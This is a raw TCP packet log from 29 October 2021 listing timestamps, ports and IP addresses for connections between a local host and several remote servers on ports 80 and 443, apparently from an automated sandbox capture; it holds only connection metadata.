Oct 29, 2021 14:10:21.517802954 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.517854929 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.517908096 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.517965078 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.518022060 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.518076897 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.518132925 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.518132925 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.518189907 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.518201113 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.518229961 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.518275976 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.518325090 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.518330097 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.518366098 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.518376112 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.518433094 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.518488884 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.518546104 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.518601894 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.518657923 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.518713951 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.518768072 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.518826962 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.518886089 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.518942118 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.519000053 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.519057035 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.519112110 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.519114971 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.519128084 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.519169092 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.519226074 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.519284010 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.519284964 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.519340992 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.519397020 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.519454002 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.519511938 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.519567966 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.519608974 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.519646883 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.519685030 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.519725084 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.519762039 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.519799948 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.519838095 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.519872904 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.519910097 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.519947052 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.519984961 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.520024061 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.520060062 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.520064116 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.520076036 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.520100117 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.520138025 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.520174026 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.520212889 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.520234108 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.520246983 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.520251036 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.520292044 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.520320892 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.520349979 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.520380020 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.520411015 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.520440102 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.520467997 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.520498991 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.520529032 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.520560026 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.520587921 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.520617008 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.520646095 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.520675898 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.520703077 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.520731926 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.520761013 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.520790100 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.520817995 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.520845890 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.520909071 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.520940065 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.520967960 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.520998955 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.521038055 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.521074057 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.521110058 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.521111012 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.521120071 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.521150112 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.521188021 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.521226883 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.521261930 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.521262884 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.521303892 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.521321058 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.521333933 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.521342993 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.521379948 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.521416903 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.521455050 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.521492958 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.521532059 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.521568060 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.521605968 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.521611929 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.521625042 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.521632910 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.521645069 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.521682024 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.521718979 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.521755934 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.521792889 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.521831989 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.521867037 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.521903992 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.521943092 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.521979094 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.522016048 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.522053957 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.522090912 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.522130013 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.522165060 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.522202015 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.522238970 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.522277117 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.522315025 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.522351980 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.522388935 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.522427082 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.522453070 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.522464037 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.522464991 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.522502899 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.522540092 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.522576094 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.522612095 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.522628069 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.522639036 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.522665977 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.522702932 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.523489952 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.528918982 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.563499928 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.563560963 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.563606977 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.563647032 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.563690901 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.563697100 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.575462103 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.575695992 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.579399109 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.579442024 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.579479933 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.579554081 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.579588890 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.632589102 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.632615089 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.632632971 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.632771969 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.632816076 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.644426107 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.648385048 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.648411989 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.648447990 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.648478031 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.649914980 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.701416969 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.701447964 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.701466084 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.701544046 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.701570988 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.772108078 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.840946913 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:27.132472992 CEST	49832	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:27.201028109 CEST	80	49832	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:27.201198101 CEST	49832	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:27.204065084 CEST	49832	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:27.204230070 CEST	49832	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:27.272572041 CEST	80	49832	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:27.272649050 CEST	80	49832	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:27.353164911 CEST	80	49832	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:27.353308916 CEST	49832	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:27.364733934 CEST	49832	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:27.433846951 CEST	80	49832	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:27.444519043 CEST	49835	443	192.168.2.3	142.250.203.110
Oct 29, 2021 14:10:27.444561005 CEST	443	49835	142.250.203.110	192.168.2.3
Oct 29, 2021 14:10:27.444648981 CEST	49835	443	192.168.2.3	142.250.203.110
Oct 29, 2021 14:10:27.444875002 CEST	49836	443	192.168.2.3	172.217.168.45
Oct 29, 2021 14:10:27.444928885 CEST	443	49836	172.217.168.45	192.168.2.3
Oct 29, 2021 14:10:27.445012093 CEST	49836	443	192.168.2.3	172.217.168.45
Oct 29, 2021 14:10:27.445502043 CEST	49835	443	192.168.2.3	142.250.203.110
Oct 29, 2021 14:10:27.445528984 CEST	443	49835	142.250.203.110	192.168.2.3
Oct 29, 2021 14:10:27.445779085 CEST	49836	443	192.168.2.3	172.217.168.45
Oct 29, 2021 14:10:27.445804119 CEST	443	49836	172.217.168.45	192.168.2.3
Oct 29, 2021 14:10:27.496833086 CEST	443	49835	142.250.203.110	192.168.2.3
Oct 29, 2021 14:10:27.504739046 CEST	49835	443	192.168.2.3	142.250.203.110
Oct 29, 2021 14:10:27.504781008 CEST	443	49835	142.250.203.110	192.168.2.3
Oct 29, 2021 14:10:27.505637884 CEST	443	49835	142.250.203.110	192.168.2.3
Oct 29, 2021 14:10:27.505750895 CEST	49835	443	192.168.2.3	142.250.203.110
Oct 29, 2021 14:10:27.506925106 CEST	443	49836	172.217.168.45	192.168.2.3
Oct 29, 2021 14:10:27.507267952 CEST	49836	443	192.168.2.3	172.217.168.45
Oct 29, 2021 14:10:27.507323027 CEST	443	49836	172.217.168.45	192.168.2.3
Oct 29, 2021 14:10:27.507855892 CEST	443	49835	142.250.203.110	192.168.2.3
Oct 29, 2021 14:10:27.507937908 CEST	49835	443	192.168.2.3	142.250.203.110
Oct 29, 2021 14:10:27.508560896 CEST	443	49836	172.217.168.45	192.168.2.3
Oct 29, 2021 14:10:27.508649111 CEST	49836	443	192.168.2.3	172.217.168.45
Oct 29, 2021 14:10:28.244862080 CEST	49836	443	192.168.2.3	172.217.168.45
Oct 29, 2021 14:10:28.245225906 CEST	443	49836	172.217.168.45	192.168.2.3
Oct 29, 2021 14:10:28.245295048 CEST	49835	443	192.168.2.3	142.250.203.110
Oct 29, 2021 14:10:28.245593071 CEST	443	49835	142.250.203.110	192.168.2.3
Oct 29, 2021 14:10:28.258233070 CEST	49836	443	192.168.2.3	172.217.168.45
Oct 29, 2021 14:10:28.258291006 CEST	443	49836	172.217.168.45	192.168.2.3
Oct 29, 2021 14:10:28.258599043 CEST	49835	443	192.168.2.3	142.250.203.110
Oct 29, 2021 14:10:28.258640051 CEST	443	49835	142.250.203.110	192.168.2.3
Oct 29, 2021 14:10:28.293900013 CEST	443	49835	142.250.203.110	192.168.2.3
Oct 29, 2021 14:10:28.294003963 CEST	49835	443	192.168.2.3	142.250.203.110
Oct 29, 2021 14:10:28.294018984 CEST	443	49835	142.250.203.110	192.168.2.3
Oct 29, 2021 14:10:28.294074059 CEST	443	49835	142.250.203.110	192.168.2.3
Oct 29, 2021 14:10:28.294135094 CEST	49835	443	192.168.2.3	142.250.203.110
Oct 29, 2021 14:10:28.312047958 CEST	443	49836	172.217.168.45	192.168.2.3
Oct 29, 2021 14:10:28.312134027 CEST	49836	443	192.168.2.3	172.217.168.45
Oct 29, 2021 14:10:28.312150955 CEST	443	49836	172.217.168.45	192.168.2.3
Oct 29, 2021 14:10:28.312257051 CEST	443	49836	172.217.168.45	192.168.2.3
Oct 29, 2021 14:10:28.312311888 CEST	49836	443	192.168.2.3	172.217.168.45
Oct 29, 2021 14:10:28.330272913 CEST	49835	443	192.168.2.3	142.250.203.110
Oct 29, 2021 14:10:28.330285072 CEST	443	49835	142.250.203.110	192.168.2.3
Oct 29, 2021 14:10:28.339570999 CEST	49836	443	192.168.2.3	172.217.168.45
Oct 29, 2021 14:10:28.339611053 CEST	443	49836	172.217.168.45	192.168.2.3
Oct 29, 2021 14:10:29.614193916 CEST	49858	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.614237070 CEST	443	49858	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.614326954 CEST	49858	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.614521980 CEST	49858	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.614547968 CEST	443	49858	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.663296938 CEST	443	49858	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.663608074 CEST	49858	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.663661003 CEST	443	49858	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.665050983 CEST	443	49858	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.665200949 CEST	49858	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.667608976 CEST	49858	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.667802095 CEST	49858	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.667803049 CEST	443	49858	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.708892107 CEST	443	49858	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.734558105 CEST	49862	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.734607935 CEST	443	49862	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.734795094 CEST	49862	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.735615969 CEST	49863	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.735668898 CEST	443	49863	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.736043930 CEST	49863	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.736090899 CEST	49864	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.736119032 CEST	443	49864	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.736192942 CEST	49864	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.736622095 CEST	49865	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.736648083 CEST	443	49865	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.736717939 CEST	49865	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.738090038 CEST	49862	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.738116980 CEST	443	49862	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.738703966 CEST	49864	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.738725901 CEST	443	49864	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.738918066 CEST	49863	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.738960028 CEST	443	49863	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.739048958 CEST	49865	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.739077091 CEST	443	49865	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.775603056 CEST	443	49862	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.775715113 CEST	443	49864	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.776094913 CEST	49862	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.776233912 CEST	49864	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.776477098 CEST	443	49865	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.776627064 CEST	443	49863	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.776791096 CEST	443	49862	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.776953936 CEST	49865	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.778209925 CEST	49858	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.778244019 CEST	443	49858	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.778588057 CEST	49863	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.779081106 CEST	443	49864	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.779191971 CEST	49864	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.779495001 CEST	49862	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.779731989 CEST	443	49862	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.779767990 CEST	49862	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.780031919 CEST	443	49865	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.780113935 CEST	49865	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.780482054 CEST	49864	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.780603886 CEST	49864	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.780616999 CEST	443	49864	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.780720949 CEST	443	49864	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.781038046 CEST	49865	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.781188011 CEST	443	49865	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.781266928 CEST	49865	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.781577110 CEST	443	49863	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.781676054 CEST	49863	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.782111883 CEST	49863	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.782298088 CEST	443	49863	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.782332897 CEST	49863	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.799604893 CEST	443	49858	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.799702883 CEST	49858	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.799716949 CEST	443	49858	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.799953938 CEST	443	49858	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.800076962 CEST	49858	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.802319050 CEST	49858	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.802341938 CEST	443	49858	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.820946932 CEST	443	49862	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.828905106 CEST	443	49863	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.828921080 CEST	443	49865	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.878184080 CEST	49862	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.878211021 CEST	49863	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.878264904 CEST	443	49863	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.918972015 CEST	443	49865	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.919043064 CEST	49865	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.919070959 CEST	443	49865	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.919106960 CEST	443	49865	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.919754982 CEST	49865	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.922043085 CEST	443	49863	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.922128916 CEST	49863	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.922152042 CEST	443	49863	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.922205925 CEST	443	49863	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.922286987 CEST	49863	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.922494888 CEST	443	49864	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.922585964 CEST	443	49864	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.922733068 CEST	49864	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.922991991 CEST	443	49862	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.923132896 CEST	443	49862	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.923206091 CEST	49862	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.923218966 CEST	443	49862	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.923295975 CEST	443	49862	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.923791885 CEST	49862	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.955852032 CEST	49865	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.955890894 CEST	443	49865	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.958909988 CEST	49863	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.958935976 CEST	443	49863	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:29.959508896 CEST	49864	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.959537983 CEST	443	49864	140.82.121.4	192.168.2.3
